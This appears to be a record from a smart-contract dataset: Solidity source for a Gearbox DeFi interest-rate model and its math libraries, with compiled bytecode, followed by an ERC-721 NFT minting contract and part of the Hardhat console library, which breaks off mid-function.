availableLiquidity ) external view override returns (uint256) { // Protection from direct sending tokens on PoolService account // T:[LR-5] // T:[LR-6] if (expectedLiquidity == 0 || expectedLiquidity < availableLiquidity) { return _R_base_RAY; } // expectedLiquidity - availableLiquidity // U = ------------------------------------- // expectedLiquidity uint256 U_WAD = (expectedLiquidity.sub(availableLiquidity)) .mul(WadRayMath.WAD) .div(expectedLiquidity); // if U < Uoptimal: // // U // borrowRate = Rbase + Rslope1 * ---------- // Uoptimal // if (U_WAD < _U_Optimal_WAD) { return _R_base_RAY.add(_R_slope1_RAY.mul(U_WAD).div(_U_Optimal_WAD)); } // if U >= Uoptimal: // // U - Uoptimal // borrowRate = Rbase + Rslope1 + Rslope2 * -------------- // 1 - Uoptimal return _R_base_RAY.add(_R_slope1_RAY).add( _R_slope2_RAY.mul(U_WAD.sub(_U_Optimal_WAD)).div( _U_Optimal_inverted_WAD ) ); // T:[LR-1,2,3] } /// @dev Gets model parameters /// @param U_optimal U_optimal in percentage format: [0;10,000] - percentage plus two decimals /// @param R_base R_base in RAY format /// @param R_slope1 R_slope1 in RAY format /// @param R_slope2 R_slope2 in RAY format function getModelParameters() external view returns ( uint256 U_optimal, uint256 R_base, uint256 R_slope1, uint256 R_slope2 ) { U_optimal = _U_Optimal_WAD.percentDiv(WadRayMath.WAD); // T:[LR-4] R_base = _R_base_RAY; // T:[LR-4] R_slope1 = _R_slope1_RAY; // T:[LR-4] R_slope2 = _R_slope2_RAY; // T:[LR-4] } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.7.4; import {Errors} from "../helpers/Errors.sol"; /** * @title PercentageMath library * @author Aave * @notice Provides functions to perform percentage calculations * @dev Percentages are defined by default with 2 decimals of precision (100.00). The precision is indicated by PERCENTAGE_FACTOR * @dev Operations are rounded half up **/ library PercentageMath { uint256 constant PERCENTAGE_FACTOR = 1e4; //percentage plus two decimals uint256 constant HALF_PERCENT = PERCENTAGE_FACTOR / 2; /** * @dev Executes a percentage multiplication * @param value The value of which the percentage needs to be calculated * @param percentage The percentage of the value to be calculated * @return The percentage of value **/ function percentMul(uint256 value, uint256 percentage) internal pure returns (uint256) { if (value == 0 || percentage == 0) { return 0; // T:[PM-1] } require( value <= (type(uint256).max - HALF_PERCENT) / percentage, Errors.MATH_MULTIPLICATION_OVERFLOW ); // T:[PM-1] return (value * percentage + HALF_PERCENT) / PERCENTAGE_FACTOR; // T:[PM-1] } /** * @dev Executes a percentage division * @param value The value of which the percentage needs to be calculated * @param percentage The percentage of the value to be calculated * @return The value divided the percentage **/ function percentDiv(uint256 value, uint256 percentage) internal pure returns (uint256) { require(percentage != 0, Errors.MATH_DIVISION_BY_ZERO); // T:[PM-2] uint256 halfPercentage = percentage / 2; // T:[PM-2] require( value <= (type(uint256).max - halfPercentage) / PERCENTAGE_FACTOR, Errors.MATH_MULTIPLICATION_OVERFLOW ); // T:[PM-2] return (value * PERCENTAGE_FACTOR + halfPercentage) / percentage; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.7.4; import {Errors} from "../helpers/Errors.sol"; /** * @title WadRayMath library * @author Aave * @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits) * More info https://github.com/aave/aave-protocol/blob/master/contracts/libraries/WadRayMath.sol */ library WadRayMath { uint256 internal constant WAD = 1e18; uint256 internal constant halfWAD = WAD / 2; uint256 internal constant RAY = 1e27; uint256 internal constant halfRAY = RAY / 2; uint256 internal constant WAD_RAY_RATIO = 1e9; /** * @return One ray, 1e27 */ function ray() internal pure returns (uint256) { return RAY; // T:[WRM-1] } /** * @return One wad, 1e18 */ function wad() internal pure returns (uint256) { return WAD; // T:[WRM-1] } /** * @return Half ray, 1e27/2 */ function halfRay() internal pure returns (uint256) { return halfRAY; // T:[WRM-2] } /** * @return Half ray, 1e18/2 */ function halfWad() internal pure returns (uint256) { return halfWAD; // T:[WRM-2] } /** * @dev Multiplies two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a*b, in wad */ function wadMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; // T:[WRM-3] } require( a <= (type(uint256).max - halfWAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW ); // T:[WRM-3] return (a * b + halfWAD) / WAD; // T:[WRM-3] } /** * @dev Divides two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a/b, in wad */ function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); // T:[WRM-4] uint256 halfB = b / 2; require( a <= (type(uint256).max - halfB) / WAD, Errors.MATH_MULTIPLICATION_OVERFLOW ); // T:[WRM-4] return (a * WAD + halfB) / b; // T:[WRM-4] } /** * @dev Multiplies two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a*b, in ray */ function rayMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; // T:[WRM-5] } require( a <= (type(uint256).max - halfRAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW ); // T:[WRM-5] return (a * b + halfRAY) / RAY; // T:[WRM-5] } /** * @dev Divides two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a/b, in ray */ function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); // T:[WRM-6] uint256 halfB = b / 2; // T:[WRM-6] require( a <= (type(uint256).max - halfB) / RAY, Errors.MATH_MULTIPLICATION_OVERFLOW ); // T:[WRM-6] return (a * RAY + halfB) / b; // T:[WRM-6] } /** * @dev Casts ray down to wad * @param a Ray * @return a casted to wad, rounded half up to the nearest wad */ function rayToWad(uint256 a) internal pure returns (uint256) { uint256 halfRatio = WAD_RAY_RATIO / 2; // T:[WRM-7] uint256 result = halfRatio + a; // T:[WRM-7] require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW); // T:[WRM-7] return result / WAD_RAY_RATIO; // T:[WRM-7] } /** * @dev Converts wad up to ray * @param a Wad * @return a converted in ray */ function wadToRay(uint256 a) internal pure returns (uint256) { uint256 result = a * WAD_RAY_RATIO; // T:[WRM-8] require( result / WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW ); // T:[WRM-8] return result; // T:[WRM-8] } } // SPDX-License-Identifier: GPL-2.0-or-later // Gearbox Protocol. Generalized leverage for DeFi protocols // (c) Gearbox Holdings, 2021 pragma solidity ^0.7.4; /// @title IInterestRateModel interface /// @dev Interface for the calculation of the interest rates interface IInterestRateModel { /// @dev Calculated borrow rate based on expectedLiquidity and availableLiquidity /// @param expectedLiquidity Expected liquidity in the pool /// @param availableLiquidity Available liquidity in the pool function calcBorrowRate(uint256 expectedLiquidity, uint256 availableLiquidity) external view returns (uint256); } // SPDX-License-Identifier: GPL-2.0-or-later // Gearbox Protocol. Generalized leverage for DeFi protocols // (c) Gearbox Holdings, 2021 pragma solidity ^0.7.4; import {PercentageMath} from "../math/PercentageMath.sol"; library Constants { uint256 constant MAX_INT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; // 25% of MAX_INT uint256 constant MAX_INT_4 = 0x3fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; // REWARD FOR LEAN DEPLOYMENT MINING uint256 constant ACCOUNT_CREATION_REWARD = 1e5; uint256 constant DEPLOYMENT_COST = 1e17; // FEE = 10% uint256 constant FEE_INTEREST = 1000; // 10% // FEE + LIQUIDATION_FEE 2% uint256 constant FEE_LIQUIDATION = 200; // Liquidation premium 5% uint256 constant LIQUIDATION_DISCOUNTED_SUM = 9500; // 100% - LIQUIDATION_FEE - LIQUIDATION_PREMIUM uint256 constant UNDERLYING_TOKEN_LIQUIDATION_THRESHOLD = LIQUIDATION_DISCOUNTED_SUM - FEE_LIQUIDATION; // Seconds in a year uint256 constant SECONDS_PER_YEAR = 365 days; uint256 constant SECONDS_PER_ONE_AND_HALF_YEAR = SECONDS_PER_YEAR * 3 /2; // 1e18 uint256 constant RAY = 1e27; uint256 constant WAD = 1e18; // OPERATIONS uint8 constant OPERATION_CLOSURE = 1; uint8 constant OPERATION_REPAY = 2; uint8 constant OPERATION_LIQUIDATION = 3; // Decimals for leverage, so x4 = 4*LEVERAGE_DECIMALS for openCreditAccount function uint8 constant LEVERAGE_DECIMALS = 100; // Maximum withdraw fee for pool in percentage math format. 100 = 1% uint8 constant MAX_WITHDRAW_FEE = 100; uint256 constant CHI_THRESHOLD = 9950; uint256 constant HF_CHECK_INTERVAL_DEFAULT = 4; uint256 constant NO_SWAP = 0; uint256 constant UNISWAP_V2 = 1; uint256 constant UNISWAP_V3 = 2; uint256 constant CURVE_V1 = 3; uint256 constant LP_YEARN = 4; uint256 constant EXACT_INPUT = 1; uint256 constant EXACT_OUTPUT = 2; } // SPDX-License-Identifier: GPL-2.0-or-later // Gearbox Protocol. Generalized leverage for DeFi protocols // (c) Gearbox Holdings, 2021 pragma solidity ^0.7.4; /// @title Errors library library Errors { // // COMMON // string public constant ZERO_ADDRESS_IS_NOT_ALLOWED = "Z0"; string public constant NOT_IMPLEMENTED = "NI"; string public constant INCORRECT_PATH_LENGTH = "PL"; string public constant INCORRECT_ARRAY_LENGTH = "CR"; string public constant REGISTERED_CREDIT_ACCOUNT_MANAGERS_ONLY = "CP"; string public constant REGISTERED_POOLS_ONLY = "RP"; string public constant INCORRECT_PARAMETER = "IP"; // // MATH // string public constant MATH_MULTIPLICATION_OVERFLOW = "M1"; string public constant MATH_ADDITION_OVERFLOW = "M2"; string public constant MATH_DIVISION_BY_ZERO = "M3"; // // POOL // string public constant POOL_CONNECTED_CREDIT_MANAGERS_ONLY = "PS0"; string public constant POOL_INCOMPATIBLE_CREDIT_ACCOUNT_MANAGER = "PS1"; string public constant POOL_MORE_THAN_EXPECTED_LIQUIDITY_LIMIT = "PS2"; string public constant POOL_INCORRECT_WITHDRAW_FEE = "PS3"; string public constant POOL_CANT_ADD_CREDIT_MANAGER_TWICE = "PS4"; // // CREDIT MANAGER // string public constant CM_NO_OPEN_ACCOUNT = "CM1"; string public constant CM_ZERO_ADDRESS_OR_USER_HAVE_ALREADY_OPEN_CREDIT_ACCOUNT = "CM2"; string public constant CM_INCORRECT_AMOUNT = "CM3"; string public constant CM_CAN_LIQUIDATE_WITH_SUCH_HEALTH_FACTOR = "CM4"; string public constant CM_CAN_UPDATE_WITH_SUCH_HEALTH_FACTOR = "CM5"; string public constant CM_WETH_GATEWAY_ONLY = "CM6"; string public constant CM_INCORRECT_PARAMS = "CM7"; string public constant CM_INCORRECT_FEES = "CM8"; string public constant CM_MAX_LEVERAGE_IS_TOO_HIGH = "CM9"; string public constant CM_CANT_CLOSE_WITH_LOSS = "CMA"; string public constant CM_TARGET_CONTRACT_iS_NOT_ALLOWED = "CMB"; string public constant CM_TRANSFER_FAILED = "CMC"; string public constant CM_INCORRECT_NEW_OWNER = "CME"; // // ACCOUNT FACTORY // string public constant AF_CANT_CLOSE_CREDIT_ACCOUNT_IN_THE_SAME_BLOCK = "AF1"; string public constant AF_MINING_IS_FINISHED = "AF2"; string public constant AF_CREDIT_ACCOUNT_NOT_IN_STOCK = "AF3"; string public constant AF_EXTERNAL_ACCOUNTS_ARE_FORBIDDEN = "AF4"; // // ADDRESS PROVIDER // string public constant AS_ADDRESS_NOT_FOUND = "AP1"; // // CONTRACTS REGISTER // string public constant CR_POOL_ALREADY_ADDED = "CR1"; string public constant CR_CREDIT_MANAGER_ALREADY_ADDED = "CR2"; // // CREDIT_FILTER // string public constant CF_UNDERLYING_TOKEN_FILTER_CONFLICT = "CF0"; string public constant CF_INCORRECT_LIQUIDATION_THRESHOLD = "CF1"; string public constant CF_TOKEN_IS_NOT_ALLOWED = "CF2"; string public constant CF_CREDIT_MANAGERS_ONLY = "CF3"; string public constant CF_ADAPTERS_ONLY = "CF4"; string public constant CF_OPERATION_LOW_HEALTH_FACTOR = "CF5"; string public constant CF_TOO_MUCH_ALLOWED_TOKENS = "CF6"; string public constant CF_INCORRECT_CHI_THRESHOLD = "CF7"; string public constant CF_INCORRECT_FAST_CHECK = "CF8"; string public constant CF_NON_TOKEN_CONTRACT = "CF9"; string public constant CF_CONTRACT_IS_NOT_IN_ALLOWED_LIST = "CFA"; string public constant CF_FAST_CHECK_NOT_COVERED_COLLATERAL_DROP = "CFB"; string public constant CF_SOME_LIQUIDATION_THRESHOLD_MORE_THAN_NEW_ONE = "CFC"; string public constant CF_ADAPTER_CAN_BE_USED_ONLY_ONCE = "CFD"; string public constant CF_INCORRECT_PRICEFEED = "CFE"; string public constant CF_TRANSFER_IS_NOT_ALLOWED = "CFF"; string public constant CF_CREDIT_MANAGER_IS_ALREADY_SET = "CFG"; // // CREDIT ACCOUNT // string public constant CA_CONNECTED_CREDIT_MANAGER_ONLY = "CA1"; string public constant CA_FACTORY_ONLY = "CA2"; // // PRICE ORACLE // string public constant PO_PRICE_FEED_DOESNT_EXIST = "PO0"; string public constant PO_TOKENS_WITH_DECIMALS_MORE_18_ISNT_ALLOWED = "PO1"; string public constant PO_AGGREGATOR_DECIMALS_SHOULD_BE_18 = "PO2"; // // ACL // string public constant ACL_CALLER_NOT_PAUSABLE_ADMIN = "ACL1"; string public constant ACL_CALLER_NOT_CONFIGURATOR = "ACL2"; // // WETH GATEWAY // string public constant WG_DESTINATION_IS_NOT_WETH_COMPATIBLE = "WG1"; string public constant WG_RECEIVE_IS_NOT_ALLOWED = "WG2"; string public constant WG_NOT_ENOUGH_FUNDS = "WG3"; // // LEVERAGED ACTIONS // string public constant LA_INCORRECT_VALUE = "LA1"; string public constant LA_HAS_VALUE_WITH_TOKEN_TRANSFER = "LA2"; string public constant LA_UNKNOWN_SWAP_INTERFACE = "LA3"; string public constant LA_UNKNOWN_LP_INTERFACE = "LA4"; string public constant LA_LOWER_THAN_AMOUNT_MIN = "LA5"; string public constant LA_TOKEN_OUT_IS_NOT_COLLATERAL = "LA6"; // // YEARN PRICE FEED // string public constant YPF_PRICE_PER_SHARE_OUT_OF_RANGE = "YP1"; string public constant YPF_INCORRECT_LIMITER_PARAMETERS = "YP2"; // // TOKEN DISTRIBUTOR // string public constant TD_WALLET_IS_ALREADY_CONNECTED_TO_VC = "TD1"; string public constant TD_INCORRECT_WEIGHTS = "TD2"; string public constant TD_NON_ZERO_BALANCE_AFTER_DISTRIBUTION = "TD3"; string public constant TD_CONTRIBUTOR_IS_NOT_REGISTERED = "TD4"; }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c80639cd3fdb51161005b5780639cd3fdb514610133578063c8284e6d14610151578063f81d438114610184578063fc4b2b78146101a257610088565b806342568d441461008d57806350ced104146100d957806354fd4d50146100f75780639aec06ea14610115575b600080fd5b6100c3600480360360408110156100a357600080fd5b8101908080359060200190929190803590602001909291905050506101c0565b6040518082815260200191505060405180910390f35b6100e161040b565b6040518082815260200191505060405180910390f35b6100ff61042f565b6040518082815260200191505060405180910390f35b61011d610434565b6040518082815260200191505060405180910390f35b61013b610458565b6040518082815260200191505060405180910390f35b61015961047c565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b61018c61052e565b6040518082815260200191505060405180910390f35b6101aa610552565b6040518082815260200191505060405180910390f35b6000808314806101cf57508183105b156101fc577f00000000000000000000000000000000000000000000000000000000000000009050610405565b600061023d8461022f670de0b6b3a764000061022187896106d190919063ffffffff16565b61075490919063ffffffff16565b6107da90919063ffffffff16565b90507f00000000000000000000000000000000000000000000000009b6e64a8ec60000811015610306576102fe6102cf7f00000000000000000000000000000000000000000000000009b6e64a8ec600006102c1847f000000000000000000000000000000000000000000295be96e6406697200000061075490919063ffffffff16565b6107da90919063ffffffff16565b7f000000000000000000000000000000000000000000000000000000000000000061086390919063ffffffff16565b915050610405565b6104016103a07f0000000000000000000000000000000000000000000000000429d069189e00006103926103637f00000000000000000000000000000000000000000000000009b6e64a8ec60000866106d190919063ffffffff16565b7f0000000000000000000000000000000000000000033b2e3c9fd0803ce800000061075490919063ffffffff16565b6107da90919063ffffffff16565b6103f37f000000000000000000000000000000000000000000295be96e640669720000007f000000000000000000000000000000000000000000000000000000000000000061086390919063ffffffff16565b61086390919063ffffffff16565b9150505b92915050565b7f00000000000000000000000000000000000000000000000009b6e64a8ec6000081565b600181565b7f000000000000000000000000000000000000000000295be96e6406697200000081565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000806000806104bd670de0b6b3a76400007f00000000000000000000000000000000000000000000000009b6e64a8ec600006108eb90919063ffffffff16565b93507f000000000000000000000000000000000000000000000000000000000000000092507f000000000000000000000000000000000000000000295be96e6406697200000091507f0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000905090919293565b7f0000000000000000000000000000000000000000000000000429d069189e000081565b7f0000000000000000000000000000000000000000033b2e3c9fd0803ce800000081565b6000808314806105865750600082145b1561059457600090506106cb565b816002612710816105a157fe5b047fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03816105cb57fe5b048311156040518060400160405280600281526020017f4d31000000000000000000000000000000000000000000000000000000000000815250906106ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610670578082015181840152602081019050610655565b50505050905090810190601f16801561069d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506127106002612710816106bb57fe5b0483850201816106c757fe5b0490505b92915050565b600082821115610749576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b60008083141561076757600090506107d4565b600082840290508284828161077857fe5b04146107cf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610b056021913960400191505060405180910390fd5b809150505b92915050565b6000808211610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b81838161085a57fe5b04905092915050565b6000808284019050838110156108e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000808214156040518060400160405280600281526020017f4d33000000000000000000000000000000000000000000000000000000000000815250906109cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610992578082015181840152602081019050610977565b50505050905090810190601f1680156109bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000600283816109da57fe5b049050612710817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0381610a0a57fe5b048411156040518060400160405280600281526020017f4d3100000000000000000000000000000000000000000000000000000000000081525090610aea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610aaf578082015181840152602081019050610a94565b50505050905090810190601f168015610adc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50828161271086020181610afa57fe5b049150509291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122088ce2196cf514af8ebb05cb23c9ac5215b47a42e4f12e6b644aa3c019b641ae464736f6c63430007060033
[ 4 ]
0xf37D71cF3DC89d878E3bF690316477A9A558F7C2
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "hardhat/console.sol"; import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; contract TheRevolutionaries is ERC721Enumerable, Ownable { using Strings for uint256; string _baseTokenURI; string public provenance = "06a87095a9dc3902cd29e91baf8af956df41f9f3834e39ef4277eb3564fda285"; // metadata dir sha256 hash uint256 private _price = 0.01 ether; uint256 public constant max_per_mint = 20; uint256 public constant max_characters = 10000; uint256 public _reveal_timestamp; bool public _paused = true; address public constant creatorAddress = 0x98Dcb966DE86E5DB06BED73A9Bc497D96A6115B8; address public constant devAddress = 0x4238501696C0dcDcE5e10788C61Bb7Aa06cEfA08; event TheBirthOfARevolutionary(uint256 indexed id); constructor(string memory baseURI) ERC721("The Revolutionaries", "REVOLUTION") { setBaseURI(baseURI); } function mintRevolutionary(uint256 _count) public payable { uint256 total = _totalSupply(); require( !_paused, "Sale is paused" ); require( _count > 0, "Must mint at least one token" ); require( _count <= max_per_mint, "Can only mint 20 tokens max" ); require( total <= max_characters, "Maximum supply reached" ); require( total + _count < max_characters, "Purchase would exceed the maximum supply" ); require( msg.value >= _price * _count, "Ether value sent is below required amount" ); for(uint256 i; i < _count; i++){ _safeMint( msg.sender, total + i ); emit TheBirthOfARevolutionary(total); } } function walletOfOwner(address _owner) public view returns(uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for(uint256 i; i < tokenCount; i++){ tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } // Set RevealTimestmp function setRevealTimestamp(uint256 revealTimeStamp) public onlyOwner { _reveal_timestamp = revealTimeStamp; } // Set the provenance hash function setProvenanceHash(string memory _provenanceHash) public onlyOwner { provenance = _provenanceHash; } // Safety net for big fluctuations in ETH price function setPrice(uint256 _newPrice) public onlyOwner { _price = _newPrice; } // Team Allocation and Giveaways function reserve() public onlyOwner { uint256 total = _totalSupply(); for (uint256 i = 0; i < 50; i++) { _safeMint(msg.sender, total + i); } } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { _baseTokenURI = baseURI; } function getPrice() public view returns (uint256){ return _price; } function pause(bool val) public onlyOwner { _paused = val; } function _totalSupply() internal view returns (uint) { return totalSupply(); } function totalMint() public view returns (uint256) { return _totalSupply(); } function withdrawAll() public payable onlyOwner { uint256 _half = address(this).balance / 2; require(payable(creatorAddress).send(_half)); require(payable(devAddress).send(_half)); } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal 